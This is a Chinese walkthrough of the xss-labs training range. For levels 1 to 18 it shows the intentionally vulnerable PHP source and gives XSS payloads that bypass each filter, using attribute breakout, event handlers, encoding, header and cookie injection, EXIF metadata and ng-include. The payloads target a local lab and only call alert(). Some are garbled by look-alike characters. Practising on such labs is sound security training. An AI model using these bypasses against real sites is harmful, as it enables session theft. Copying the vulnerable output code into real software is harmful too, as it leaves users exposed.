Xss-labs靶场通关
Xss-labs靶场通关
XSS前言
level1
我们来看看第一关,看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
观察源代码可以看到变量$str,GET了一个变量,并没有做什么过滤,可以在这里进行XSS注入
http://127.0.0.1/xss-labs-master/level1.php?name=<script>alert(1)</script>
第一关完成了
level2
首先我们还是先看一下这一关
我先尝试在搜索框注入,但是好像没啥用
看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到有一个函数htmlspecialchars()
我们再看一下网页的源代码
可以看到在
标签之中的恶意代码被编码了,其中<、>都被编码成了html字符实体。可以知道是函数htmlspecialchars()在服务器端对keyword参数的值进行了处理,往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回的。但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。
既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。
操作如下:
http://192.168.92.157/xss-labs-master/level2.php?keyword="><script>alert('xss')</script>//
可以看到成功执行了,这关也成功的注入了,看一下网页源代码
从图中可以看出,在<h2></h2>
标签中的恶意代码依然被编码了。但是在下方<input>
标签中我们提交的代码成功的对引号和标签进行了闭合,这样浏览器就能成功执行js代码了。在我们构造的恶意代码中最后的//是为了将后面的">注释掉。
<input name=keyword value=""><script>alert('xss')</script>//">
level3
直接看一下源代码,现在value参数值也被htmlspecialchars函数检测了一遍,第二关的方法不能用了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现过滤了很多,像<,>,=
这些都被过滤了,尝试了很多都没能成功。
这里get到一个新的知识点
通过<input>
标签的一些特殊事件来执行js代码
payload:
level3.php?keyword='οnfοcus=javascript:alert('xss') > //
输入payload的时候,并没有以往的成功的弹窗跳出来
这是因为onfocus事件的特殊性造成的
onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 <input>, <select>, 和<a>.
最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时,输入框被选中可以输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此点击当前页面的输入框就可以完成弹框了。
less4
看一下这一关的页面
我这边尝试用第三关的方法去注入,但是失败了,然后我们看一下页面源代码,发现第三关的单引号变成双引号了
这下我们改成双引号注入
XSS注入成功
less5
我们来看一下第五关
尝试一下最简单的XSS语句,发现有过滤
尝试第三第四关的方法,发现也有过滤
此处既然无法通过<script>
标签或触发事件来执行js代码的话,那么可以换一个标签来执行js代码。
payload:
?keyword="><a href=javascript:alert(1)>xss</a>//
XSS测试完成
less6
看一下这一关
注定是难搞的一关,第五关的方法也失败了,之前几关的方法我就不尝试了,肯定也是不行的
我们看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
观察代码我们可以看出来,并没有过滤大小写,所以我们尝试一下看看大写能不能绕过
payload:
?keyword="><a hRef=javascript:alert(1)>xss</a>//
XSS测试成功
less7
看一下第七关又是什么样的图片
这次我学聪明了,还是直接看源代码吧
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这次过滤的更多了,不过观察代码可以看到,一些关键字会被替换成空格,如果我用双写绕过呢,说干就干
payload:
?keyword="><a hrhrefef=javasscriptcript:alert(1)>xss</a>//
XSS测试成功
less8
到了第八关了
这次我们还是直接看一下源代码,发现之前能走的路都被封了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
观察页面源代码我们可以知道我们写入的语句,都会放到友情链接那里
测试可以发现很多绕过
我们可以对我们提交的js代码进行编码
发现成功了
level9
来看一下第九关
我们还是来看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
这关代码和上一关确实挺像的,不同的是需要判断如果字符中有没有http://,没有的话就会返回false,接着在href属性值中就会出现"您的链接不合法?有没有!"
判断成功后,返回第一次出现的位置,将该字符插入到href属性值中了。
只要里面有http://
就可以了,并没有说在什么位置,所以我们可以在语句中利用链接,但是又有过滤,所以我们可以利用编码,只编码一个英文字母
之间需要插入//
,否则不会成功执行弹窗
payload:
javascript:alert(/xss/)//http://www.baidu.com //Unicode编码
或者
javascript:alert(/xss/)//http://www.baidu.com
成功通过
level10
和前几关有点不一样了,像是变异了一样
观察源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现和之前有点不一样的是,多了一个参数$t_sort
,也许我们可以利用这个参数,观察这个代码可以看到,<和>都被过滤了,没办法使用了,我用编码的方式也没有成功。
paylaod:
" type="text" οnclick=alert(/xss/)" #因为页面中没有触发事件框,所以type="text"构造一个文本框
完成关卡
level11
欢迎来到第十一关
我就直接看源代码了就不测试了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
我们可以看到上一关的那个变量$t_sort
已经被函数htmlspecialchars()洗礼了,不能用了
但是我们可以看到有一个地方可以用,就是$t_ref
,它是接收了$_SERVER['HTTP_REFERER']
这个请求头
那我们就抓一下包,测试一下,我一开始是这样测试的,但是放到最后不管咋样都是请求超时,给我整不会了
看到人家都是把这个往上面放放,我也去试了一下,发现就成功了,多多少少有点离谱,我也不知道原因
payload:referer:"type="text" onclick="alert('xss')
有了框框,成功注入
level12
看一下第12关
直接看源码了,就不那么麻烦了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
其实和上一关差不多,就是注入点变成了User-Agent,直接抓包修改
成功注入了
level13
Let me see
再看一下源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
和上两题类似,这里的注入点是Cookie
成功注入
level14
看网上都说打不了,字节也没找到什么注入的地方
查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,所以,也无法实践
exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗
具体实现使用kali下的exiftool工具
命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg
level15
到十五关看一下
就这样空洞洞的,啥也没有,我们来看一下源码
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
发现引入了一个变量$str
,但是我们可以看到函数htmlspecialchars()
对变量$str
进行了过滤。
我们提交的参数src
的值被插入到了<span>
标签的class
属性值中,但是前面还有ng-include
这样的字符
那我们就正好来了解下ng-include
指令的一些具体的用法
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件
构造代码:
?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'
因为这里的参数值算是一个地址,所以需要添加引号。
因为我们不是单纯的去包含level1.php
,而是在后面添加了name参数值的。这就有点像是访问了该参数值中的地址之后把它响应在浏览器端的html文件给包含进来的意思。
成功弹窗了。
level16
欣赏一下第16关
测试了一下,发现被过滤了,输入的字符变成了空格
我们还是看一下源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
看网页源码,并没有什么特殊的地方,只是参数值被插入到了<center>
标签中
我们通过源码可以看到
1.将参数值中的script替换成
2.将参数值中的空格也替换成
3.将参数值中的/
符号替换成
绕过思路:可以用回车将他们分开
而且这里的/
符号也被编码了,所以我们需要的是一个不需要闭合的标签,比如我们之前所用过的<img>
构造语句:
<img
src="111"
onerror=alert('xss')
>
回车可以用url编码格式%0a
来表示
成功实现
level17
看一下第17关,以及url显示
我们看一下前端源码
发现其两个变量使用=
符号拼接的形式被加入到<embed>
标签中,该标签用于一些插件如flash等的插入,那这就是一个突破口,常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。
所以我们在b的后边加入onclick(点击后触发)或则onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用
构造payload:
http://192.168.92.157/xss-labs-master/level17.php?arg01=a&arg02=b οnmοuseοver=alert('hack')
但是在火狐浏览器中,发现该组件根本不显示,完全不给我们事件触发的机会,无法利用了,那怎么办呢。浏览资料发现有些浏览器会将无用组件直接屏蔽,但有些不会。所以我们转到edge试一下
发现测试成功,完成的不错。
level18
欢迎来到第18关
看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
发现和17关没有什么区别,也是拼接,用17关的payload,也一样成功了